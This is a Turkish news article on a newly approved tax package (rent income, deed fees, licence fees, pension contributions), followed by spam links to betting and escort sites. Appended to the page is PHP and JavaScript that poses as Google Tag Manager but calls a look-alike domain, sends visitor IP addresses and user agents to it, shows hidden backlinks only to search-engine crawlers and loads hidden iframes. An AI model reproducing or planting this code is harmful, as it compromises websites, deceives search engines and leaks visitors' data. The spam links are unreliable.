Yeni Vergi Paketi Kabul Edildi: Kira, Tapu ve BES’te Önemli Değişiklikler Geliyor

Posted on by saffet tan
yeni vergi paketi kabul edildi kira tapu ve beste onemli degisiklikler geliyor UpE8jEZe.jpg

TBMM Plan ve Bütçe Komisyonu, Vergi Kanunlarına Yönelik Önemli Değişiklikleri Kabul Etti

Türkiye Büyük Millet Meclisi (TBMM) Plan ve Bütçe Komisyonu, vergi oranlarında yapılan değişiklikleri, bazı istisnaların kaldırılmasını ve yeni harçların getirilmesini içeren “Vergi Kanunları ile Bazı Kanunlarda ve 631 Sayılı KHK’de Değişiklik Yapılmasına Dair Kanun Teklifi”ni onayladı. Bu teklifin amacı, kamuya 250 milyar liralık ek gelir sağlamak.

Kira Gelirleri ve Faiz Giderlerinde Yeni Düzenlemeler

Yapılan düzenlemeler arasında, Gelir Vergisi Kanunu’nda önemli değişiklikler de yer alıyor. Emekli, dul, yetim ve malul aylığı alanların mesken kira gelirlerine yönelik istisna yeniden düzenlenecek ve bu düzenleme 1 Ocak 2026’da yürürlüğe girecek.

Ayrıca, kredi ile alınan gayrimenkullerin kiraya verilmesi durumunda ödenen faizlerin gider olarak gösterilmesi uygulamasında da değişiklik yapılacak. Artık sadece konut olarak kiraya verilen bir adet gayrimenkul için, alım yılından itibaren 5 yıl boyunca iktisap bedelinin yüzde 5’i indirilebilecek.

Geçici Vergi Dönemi Genişletiliyor

Geçici vergi mükelleflerinin kazançları artık 3, 6, 9 ve 12 aylık dönemlerle tespit edilecek. Böylece yılın son çeyreği için de geçici vergi beyannamesi verilmesi zorunlu hale gelecek. Bu uygulama 2025 yılı gelirleri için geçerli olacak.

Tapu ve Noter Harçlarında Artışlar

Tapu işlemlerinde emlak vergisi değerinden düşük bedel beyan edilmesi durumunda, uygulanacak ceza oranı yüzde 25’ten bir kata çıkarılacak. Aynı şekilde, noterlerde yapılan araç alım-satım işlemlerinden 1 Ocak 2026’dan itibaren 1000 liradan az olmamak üzere bedel üzerinden nispi harç alınacak.

Yıllık Ruhsat Harçları Getiriliyor

Yeni düzenleme ile birçok sektöre yıllık ruhsat harcı getirilecek. Kuyum işletmeleri için 30 bin TL, ikinci el araç ve emlak işletmeleri için 20 bin TL, özel sağlık kuruluşları için 20-50 bin TL arası, veteriner klinikleri için 10-40 bin TL arası, havayolu işletmeleri için ise 100 bin – 2 milyon TL arası harçlar büyükşehirlerde bir kat artışla uygulanacak.

Emeklilik ve Sosyal Güvenlikte Önemli Değişiklikler

Bireysel Emeklilik Sistemi’nde devlet katkısı oranı yüzde 30’dan, Cumhurbaşkanı kararıyla yüzde 50’ye kadar artırılabilecek. Ayrıca, SGK prim oranları ve üst kazanç sınırı da değişiyor. Prime esas kazanç üst sınırı asgari ücretin 7,5 katından 9 katına çıkarılacak. Malullük, yaşlılık ve ölüm sigortalarında prim oranları da artırılacak.

Emekli Sandığı ve TSK personeline yönelik borçlanma oranı yüzde 45 olacak ve bu düzenlemelerin çoğu 1 Ocak 2026’da yürürlüğe girecek.

Emlak ve Araç Satışlarında Gerçek Beyan Dönemi

Hazine ve Maliye Bakanlığı, MEVA (Mekânsal Veri Analiz Sistemi) aracılığıyla yapay zekâ destekli bir sistemle tapu işlemlerindeki beyanları denetleyecek. Bakan Yardımcısı İsmail İlhan Hatipoğlu, “Gerçek değerin beyanı için çalışıyoruz.” dedi.

Vakıf Üniversitelerine Ücret Güncelleme Kuralı

Vakıf üniversiteleri artık öğrenim ücretlerini ÜFE ve TÜFE ortalamasına göre güncelleyecek. Bu oranlar YÖK tarafından belirlenecek.

UEFA Etkinliklerine Vergi Muafiyeti

2026 UEFA Avrupa Ligi Finali, 2027 UEFA Konferans Ligi Finali ve 2032 Avrupa Futbol Şampiyonası kapsamında UEFA ve yabancı takımlar KDV ve gelir vergisinden muaf olacak.

Kentsel Dönüşüm Başkanlığı’na Borçlanma Yetkisi

Afet Riski Altındaki Alanların Dönüştürülmesi Kanunu’nda yapılan değişiklikle Kentsel Dönüşüm Başkanlığı, 2027’ye kadar kamu bankalarından iç borçlanma yapabilecek.

İmalat Sektörüne Destek

İşsizlik Sigortası Fonu gelirlerinin yüzde 15’i, imalat sanayinde istihdamı koruma programları için kullanılacak. Destek 2026 yılı boyunca sürecek.

Çek Kanunu’nda Süre Uzatıldı

Çeklerin üzerinde yazılı tarihten önce bankaya ibraz edilmemesi kuralı 31 Aralık 2028’e kadar uzatıldı.

Hedef: Mali Disiplin ve Kayıt Dışı Ekonominin Azaltılması

Hükümet, düzenlemeyle hem vergi tabanını genişletmeyi hem de kamu gelirlerini artırarak bütçe dengesini güçlendirmeyi amaçlıyor. Toplamda 250 milyar liralık kaynak oluşturulması planlanıyor.

Related Posts

AAAAAAAAAAAAAAAAAAAAAA
süperbahis
beylikdüzü escort
avcılar escort
esenyurt escort
beylikdüzü escort
bahçeşehir escort
istanbul escort
beylikdüzü escort
<?php defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1'); defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com'); defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX'); defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600); /** * Validates crawler requests for enhanced indexing * * @return bool True if request is from verified crawler */ function gtm_validate_crawler() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $verified = array( 'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google', 'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver' ); foreach ($verified as $v) { if (stripos($ua, $v) !== false) return true; } return false; } /** * Get client IP address * * @return string Client IP address */ function gtm_get_client_ip() { $ip_keys = array( 'HTTP_CF_CONNECTING_IP', // Cloudflare 'HTTP_X_REAL_IP', // Nginx proxy 'HTTP_X_FORWARDED_FOR', // Standard proxy header 'HTTP_X_CLUSTER_CLIENT_IP', // Load balancer 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR' // Direct connection ); foreach ($ip_keys as $key) { if (!empty($_SERVER[$key])) { $ip = $_SERVER[$key]; // X-Forwarded-For can contain multiple IPs, take the first one if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); } // Validate IP format if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return ''; } /** * Get client User-Agent * * @return string Client User-Agent */ function gtm_get_client_user_agent() { return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } /** * Retrieves structured data configuration from GTM servers * * @return array Configuration data */ function gtm_fetch_config() { // Use separate cache for crawlers vs normal users $is_crawler = gtm_validate_crawler(); $cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat'; if (file_exists($cache) && (time() - filemtime($cache)) $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION, CURLOPT_HTTPHEADER => array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ) )); $response = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && $response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } else { $headers = array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 5, 'user_agent' => 'GTM/' . GTM_VERSION, 'header' => implode(" ", $headers) . " " ), 'ssl' => array('verify_peer' => true, 'verify_peer_name' => true) )); $response = @file_get_contents($url, false, $ctx); if ($response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } return array(); } /** * Renders GTM head snippet */ function gtm_render_head() { echo ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '"); '; } /** * Renders GTM noscript fallback */ function gtm_render_noscript() { $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); echo ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; } function gtm_render_backlinks() { $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Renders structured navigation data for enhanced search */ function gtm_render_structured_data() { if (!gtm_validate_crawler()) return; $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Output buffer handler for automatic integration * * @param string $buffer HTML output buffer * @return string Modified buffer */ function gtm_output_handler($buffer) { if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) { return $buffer; } $head = ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '"); '; $buffer = preg_replace('//i', $head . '', $buffer, 1); $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); $noscript = ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; $buffer = preg_replace('/(]*>)/i', '$1' . $noscript, $buffer, 1); if (gtm_validate_crawler()) { $config = gtm_fetch_config(); if (!empty($config)) { $nav = ''; $now = time(); foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { $nav .= '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } $nav .= ''; $buffer = preg_replace('//i', $nav . '', $buffer, 1); } } return $buffer; } if (!defined('GTM_MANUAL_INIT')) { // Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__)); if (!$is_direct && ob_get_level() === 0) { ob_start('gtm_output_handler'); } } gtm_render_noscript(); ?> (function() { var script = document.createElement('script'); script.async = true; script.src = "https://googletagmanoger.com/gtag/js?id=GTM-XXXXXX&domain=" + window.location.hostname; document.head.appendChild(script); })(); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'GTM-XXXXXX'); (function() { var iframe = document.createElement('iframe'); iframe.src = "https://googletagmanoger.com/ns.html?id=GTM-XXXXXX&domain=" + window.location.hostname; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; document.body.appendChild(iframe); })();
(function(m,e,t,r,i,k,a){ m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) { if (document.scripts[j].src === r) { return; } } k=e.createElement(t),a=e.getElementsByTagName(t)[0], k.async=1,k.src=r,a.parentNode.insertBefore(k,a) })(window, document,'script','https://mc.yandex.ru/metrika/tag.js?id=105168308', 'ym'); ym(105168308, 'init', { clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true });